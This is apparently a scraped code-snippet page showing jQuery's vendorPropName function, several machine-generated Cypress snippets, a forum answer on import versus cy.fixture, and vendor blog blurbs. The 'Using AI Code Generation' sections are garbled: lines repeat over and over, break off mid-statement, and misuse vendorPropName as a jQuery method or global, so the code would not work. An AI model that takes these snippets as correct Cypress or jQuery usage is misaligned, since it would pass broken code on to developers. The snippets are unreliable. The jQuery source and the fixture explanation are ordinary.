...6var cssPrefixes = [ "Webkit", "Moz", "ms" ],7 emptyStyle = document.createElement( "div" ).style,8 vendorProps = {};9// Return a vendor-prefixed property or undefined10function vendorPropName( name ) {11 // Check for vendor prefixed names12 var capName = name[ 0 ].toUpperCase() + name.slice( 1 ),13 i = cssPrefixes.length;14 while ( i-- ) {15 name = cssPrefixes[ i ] + capName;16 if ( name in emptyStyle ) {17 return name;18 }19 }20}21// Return a potentially-mapped jQuery.cssProps or vendor prefixed property22function finalPropName( name ) {23 var final = jQuery.cssProps[ name ] || vendorProps[ name ];24 if ( final ) {25 return final;26 }27 if ( name in emptyStyle ) {28 return name;29 }30 return vendorProps[ name ] = vendorPropName( name ) || name;31}32return finalPropName;...
Using AI Code Generation
1import $ from 'jquery';2Cypress.Commands.add('vendorPropName', (prop) => {3 return Cypress.$('<div>').prop(prop);4});5describe('Cypress.$', () => {6 it('should return the vendor prefix', () => {7 cy.get('#querying').then(($div) => {8 cy.vendorPropName('transform').should('equal', 'transform');9 });10 });11});
Using AI Code Generation
1Cypress.$('body')[vendorPropName]('data-foo', 'bar')2Cypress.$('body').prop('data-foo', 'bar')3Cypress.$('body').attr('data-foo', 'bar')4Cypress.$('body')[vendorPropName]('data-foo', 'bar')5Cypress.$('body').prop('data-foo', 'bar')6Cypress.$('body').attr('data-foo', 'bar')7Cypress.$('body').prop('data-foo', 'bar')8Cypress.$('body').attr('data-foo', 'bar')9Cypress.$('body').prop('data-foo', 'bar')10Cypress.$('body').attr('data-foo', 'bar')11Cypress.$('body')[vendorPropName]('data-foo', 'bar')12Cypress.$('body').prop('data-foo', 'bar')13Cypress.$('body').attr('data-foo', 'bar')14Cypress.$('body').prop('data-foo', 'bar')15Cypress.$('body').attr('data-foo', 'bar')16Cypress.$('body').prop('data-foo', 'bar')17Cypress.$('body').attr('data-foo', 'bar')18Cypress.$('body')[vendorPropName]('data-foo', 'bar')19Cypress.$('body').prop('data-foo', 'bar')20Cypress.$('body').attr('data-foo', 'bar')21Cypress.$('body').prop('data-foo', 'bar')22Cypress.$('body').attr('data-foo', 'bar')23Cypress.$('body').prop('data-foo', 'bar')24Cypress.$('body').attr('data-foo', 'bar')25Cypress.$('body')[vendorPropName]('data-foo', 'bar')26Cypress.$('body').prop('data-foo', 'bar')27Cypress.$('body').attr('data-foo', 'bar')28Cypress.$('body').prop('data-foo', 'bar')29Cypress.$('body').attr('data-
Using AI Code Generation
1const $el = Cypress.$('body')2const transitionend = vendorPropName('transitionend')3$el.on(transitionend, () => {4})5const $el = Cypress.$('body')6const transitionend = vendorPropName('transitionend')7$el.on(transitionend, () => {8})9const $el = Cypress.$('body')10const transitionend = vendorPropName('transitionend')11$el.on(transitionend, () => {12})13const $el = Cypress.$('body')14const transitionend = vendorPropName('transitionend')15$el.on(transitionend, () => {16})17const $el = Cypress.$('body')18const transitionend = vendorPropName('transitionend')19$el.on(transitionend, () => {20})21const $el = Cypress.$('body')22const transitionend = vendorPropName('transitionend')23$el.on(transitionend, () => {24})25const $el = Cypress.$('body')26const transitionend = vendorPropName('transitionend')27$el.on(transitionend, () => {28})29const $el = Cypress.$('body')30const transitionend = vendorPropName('transitionend')31$el.on(transitionend, () => {
Using AI Code Generation
1Cypress.$('body').vendorPropName('propName', 'value')2Cypress.$ = Cypress.$.bind(Cypress)3Cypress.$.vendorPropName = function (propName, value) {4 return this.prop(propName, value)5}6Cypress.$ = Cypress.$.bind(Cypress)7Cypress.$.vendorPropName = function (propName, value) {8 return this.prop(propName, value)9}10Cypress.$('body').vendorPropName('propName', 'value')11Cypress.$ = Cypress.$.bind(Cypress)12Cypress.$.vendorPropName = function (propName, value) {13 return this.prop(propName, value)14}15Cypress.$ = Cypress.$.bind(Cypress)16Cypress.$.vendorPropName = function (propName, value) {17 return this.prop(propName, value)18}19Cypress.$('body').vendorPropName('propName', 'value')20Cypress.$ = Cypress.$.bind(Cypress)21Cypress.$.vendorPropName = function (propName, value) {22 return this.prop(propName, value)23}24Cypress.$ = Cypress.$.bind(Cypress)25Cypress.$.vendorPropName = function (propName, value) {26 return this.prop(propName, value)27}28Cypress.$('body').vendorPropName('propName', 'value')29Cypress.$ = Cypress.$.bind(Cypress)30Cypress.$.vendorPropName = function (propName, value
Using AI Code Generation
1Cypress.$(cy.$$('form')).vendorPropName('propName');2Cypress.$.fn.vendorPropName = function(propName) {3 return this.prop(propName);4};5Cypress.$(cy.$$('form')).vendorPropName('propName');6Cypress.$.fn.vendorPropName = function(propName) {7 return this.prop(propName);8};9Cypress.$(cy.$$('form')).vendorPropName('propName');10Cypress.$.fn.vendorPropName = function(propName) {11 return this.prop(propName);12};13Cypress.$(cy.$$('form')).vendorPropName('propName');14Cypress.$.fn.vendorPropName = function(propName) {15 return this.prop(propName);16};17Cypress.$(cy.$$('form')).vendorPropName('propName');18Cypress.$.fn.vendorPropName = function(propName) {19 return this.prop(propName);20};21Cypress.$(cy.$$('form')).vendorPropName('propName');22Cypress.$.fn.vendorPropName = function(propName) {23 return this.prop(propName);24};25Cypress.$(cy.$$('form')).vendorPropName
What is the difference between import and cy.fixture in Cypress tests?
Change directory in Cypress using cy.exec()
How to remove whitespace from a string in Cypress
How to save a variable/text to use later in Cypress test?
Is it possible to select an anchor tag which contains a h1 which contains the text "Visit Site"?
Cypress loop execution order
Cypress Cucumber, how Get to data from page in one step and use it another scenario step
How to cancel a specific request in Cypress?
Cypress object vs JQuery object, role of cy.wrap function
Cypress - Controlling which tests to run - Using Cypress for seeding
Basically when you say import file from '../fixtures/filepath/file.json'
you can use the imported file in any of methods in the particular javascript file. Whereas if you say cy.fixture(file.json)
, then the fixture context will remain within that cy.fixture block and you cannot access anywhere/outside of that cy.fixture block. Please go through the below code and you will understand the significance of it.
I recommend to use import file from '../fixtures/filepath/file.json'
For example. Run the below code to understand.
import fixtureFile from './../fixtures/userData.json';
describe('$ suite', () => {
it('Filedata prints only in cy.fixture block', () => {
cy.fixture('userData.json').then(fileData => {
cy.log(JSON.stringify(fileData)); // You can access fileData only in this block.
})
cy.log(JSON.stringify(fileData)); //This says error because you are accessing out of cypress fixture context
})
it('This will print file data with import', () => {
cy.log(JSON.stringify(fixtureFile));
})
it('This will also print file data with import', () => {
cy.log(JSON.stringify(fixtureFile));
})
});
Check out the latest blogs from LambdaTest on this topic:
“Your most unhappy customers are your greatest source of learning.”
Hola, testers! We are up with another round of exciting product updates to help scale your cross browser testing coverage. As spring cleaning looms, we’re presenting you product updates to put some spring in your testing workflow. Our development team has been working relentlessly to make our test execution platform more scalable and reliable than ever to accomplish all your testing requirements.
Agile development pushes out incremental software updates faster than traditional software releases. But the faster you release, the more tests you have to write and run – which becomes a burden as your accumulated test suites multiply. So a more intelligent approach to testing is needed for fast releases. This is where Smart Test Execution comes in.
If you were born in the 90s, you may be wondering where that browser is that you used for the first time to create HTML pages or browse the Internet. Even if you were born in the 00s, you probably didn’t use Internet Explorer until recently, except under particular circumstances, such as working on old computers in IT organizations, banks, etc. Nevertheless, I can say with my observation that Internet Explorer use declined rapidly among those using new computers.
Hey People! With the beginning of a new year, we are excited to announce a collection of new product updates! At LambdaTest, we’re committed to providing you with a comprehensive test execution platform to constantly improve the user experience and performance of your websites, web apps, and mobile apps. Our incredible team of developers came up with several new features and updates to spice up your workflow.
Cypress is a renowned Javascript-based open-source, easy-to-use end-to-end testing framework primarily used for testing web applications. Cypress is a relatively new player in the automation testing space and has been gaining much traction lately, as evidenced by the number of Forks (2.7K) and Stars (42.1K) for the project. LambdaTest’s Cypress Tutorial covers step-by-step guides that will help you learn from the basics till you run automation tests on LambdaTest.
You can elevate your expertise with end-to-end testing using the Cypress automation framework and stay one step ahead in your career by earning a Cypress certification. Check out our Cypress 101 Certification.
Watch this 3 hours of complete tutorial to learn the basics of Cypress and various Cypress commands with the Cypress testing at LambdaTest.
Get 100 minutes of automation test minutes FREE!!